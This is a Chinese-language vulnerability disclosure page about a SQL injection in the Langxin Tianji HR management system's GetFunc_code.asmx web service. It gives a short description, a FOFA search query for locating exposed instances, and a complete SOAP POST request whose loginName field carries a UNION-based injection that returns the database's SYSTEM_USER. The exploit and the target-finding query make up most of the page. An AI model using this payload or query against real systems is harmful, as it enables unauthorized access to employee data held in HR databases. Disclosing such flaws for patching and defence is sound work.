朗新天霁人力资源管理系统GetMessage存在sql注入漏洞

日期: 2024-08-22 | 影响软件: 朗新天霁人力资源管理系统GetMessage | POC: 已公开

漏洞描述

朗新天霁从事人力资源管理系统26年,是专业的e-HR系统供应商之一,致力于为各个企业提供优质的人力资源管理软件、人才管理系统、招聘管理系统、绩效考核系统、薪资管理系统等。朗新天霁人力资源管理系统GetFunc_code.asmx接口参数GetMessage 存在SQL注入漏洞,导致数据泄露。

PoC代码

## 朗新天霁人力资源管理系统GetMessage存在sql注入漏洞



朗新天霁人力资源管理系统GetFunc_code.asmx接口参数 GetMessage 存在SQL注入漏洞,导致数据泄露。



## fofa



```

body="人力资源管理系统" && body="Silverlight"

```



## poc



```

POST /ws/GetFunc_code.asmx HTTP/1.1

Host: 

Content-Type: text/xml; charset=utf-8

Content-Length: length

SOAPAction: "http://tempuri.org/GetMessage"



<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">

  <soap:Body>

    <GetMessage xmlns="http://tempuri.org/">

      <loginName>1' UNION ALL SELECT ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))-- Bthm</loginName>

    </GetMessage>

  </soap:Body>

</soap:Envelope>

```



![image-20240702222843669](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202407022228746.png)

相关漏洞推荐